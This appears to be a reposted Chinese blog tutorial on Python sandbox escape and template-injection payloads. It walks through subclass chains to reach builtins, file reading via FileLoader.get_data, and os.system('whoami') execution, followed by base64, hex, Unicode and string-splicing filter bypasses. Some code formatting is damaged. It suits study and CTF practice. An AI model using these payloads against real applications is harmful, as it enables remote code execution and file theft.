基础知识&基本操作
基本魔术方法
print(''.__class__.__mro__) #获取类继承链
print(''.__class__.__bases__) #获取父类(python支持多继承),返回值是元组形式
print(''.__class__.__base__) #获取基类[单个回显]
print(''.__class__.__subclasses__()) #获取该类的所有子类
#__dict__ 返回所有属性,包括属性,方法等
#__init__ 类实例创建之后调用, 对当前对象的实例的一些初始化
获取子类
#打印Object类的所有子类
for i in range(0,200):
try:
thing=''.__class__.__bases__[0].__subclasses__()[i]
print(i,' ',thing)
except:
Exception
获取全局函数
#寻找具有__globals__属性的类.
#只有被重载的类才有该属性。
#使用__init__初始化后,带有“wrapper”的说明没有被重载。
#Object本身没有被重载;从它的子类找。
for i in range(200):
try:
thing=str([].__class__.__base__.__subclasses__()[i].__init__)
if 'wrapper' not in thing:
print(i,' ',[].__class__.__base__.__subclasses__()[i])
except:
Exception
文件读取
#使用_frozen_importlib_external.FileLoader类进行文件读取
#这里我不太会查python文档之类的,只能用__dict__看这个类的所有属性,之后找看起来能用的试。
print([].__class__.__base__.__subclasses__()[100].__dict__)
#最后就找到了一个get_data,用法有个参数还没搞明白
print([].__class__.__base__.__subclasses__()[100].get_data('任意值','C:/Users/Dell/Downloads/app.py'))
寻找命令执行
#尝试寻找命令执行
#结果没找到eval方法,有几个类里有exec,但并没有exec方法(实际上是exec_method)。
for i in range(200):
try:
thing=str([].__class__.__base__.__subclasses__()[i].__dict__)
if ('wrapper' not in thing)and(('eval' in thing)or('exec' in thing)):
print(i,' ',[].__class__.__base__.__subclasses__()[i])
print(i, ' ', [].__class__.__base__.__subclasses__()[i].__dict__)
except:
Exception
#转换思路;之前一直看的是python自带的类(Object及其子类)中的方法;
#现在,来看看内置函数。
#通过__init__.__globals__['__builtins__']查看初始化时即导入的内置函数。从哪个类进去都一样。
#这里面一般是有eval和exec的。
print([].__class__.__base__.__subclasses__()[135])
print([].__class__.__base__.__subclasses__()[135].__init__)
print([].__class__.__base__.__subclasses__()[135].__init__)
print([].__class__.__base__.__subclasses__()[40].__init__)
thing=str([].__class__.__base__.__subclasses__()[135].__init__.__globals__['__builtins__'])
if ('eval' in thing)and('exec' in thing):
print('exist')
#eval和exec在返回值上有一些区别,此处先忽略.
#只要知道他能将字符串当成代码执行就行了。
#使用__import__动态包含模块,然后调函数即可。
#结合之前的内容,就搞出了一种常见payload
print(eval('__import__("os").system("whoami")'))
print(exec('__import__("os").system("whoami")'))
print([].__class__.__base__.__subclasses__()[135].__init__.__globals__['__builtins__']['exec']('__import__("os").system("whoami")'))
绕过姿势
以下绕过,均以
print([].__class__.__base__.__subclasses__()[135].__init__.__globals__['__builtins__']['exec']('__import__("os").system("whoami")'))
为例进行修改。
编码绕过
payload中引号内的(即字符串类型的数据),在调用的时候都可以使用编码绕过。
函数绕过
测试的时候需要外部库base64,感觉不太好用。
#python生成base64信息的样例
import base64
print(base64.b64encode('__builtins__'.encode()))
#样例payload;感觉真的不好用。
().__class__.__bases__[0].__subclasses__()[135].__init__.__globals__[base64.b64decode('X19idWlsdGluc19f'.encode()).decode()][base64.b64decode('ZXhlYw=='.encode()).decode()](base64.b64decode('X19pbXBvcnRfXygib3MiKS5zeXN0ZW0oIndob2FtaSIp'.encode()).decode())
字节码绕过
python中的.encode()
对于可见的ascii字符不会输出其字节码,所以还得自己写转化。
#纯字节码的转化样例
x='__import__("os").system("whoami")'
y=''
for i in range(len(x)):
y+='\x'+(hex(ord(x[i]))[2:])
print(y)
#样例payload
().__class__.__bases__[0].__subclasses__()[135].__init__.__globals__['x5fx5fx62x75x69x6cx74x69x6ex73x5fx5f']['x65x76x61x6c']('x5fx5fx69x6dx70x6fx72x74x5fx5fx28x22x6fx73x22x29x2ex73x79x73x74x65x6dx28x22x77x68x6fx61x6dx69x22x29')
Unicode绕过
跟字节码绕过差不多,但挺新奇的。
生成时,将\x
改为\u00
即可。
举例:x65x76x61x6c
变为u0065u0076u0061u006c
python默认支持Unicode;基本已经不采用它的原因是一般情况下前两位都是00,太浪费空间了。
拼接类绕过
以过滤flag
为例:
join函数拼接:("fla".join("/g"))
注释拼接:fl''ag fl""ag
其他绕过&组合绕过
https://xz.aliyun.com/t/11090#toc-10
自己看吧。
本文摘自 :https://www.cnblogs.com/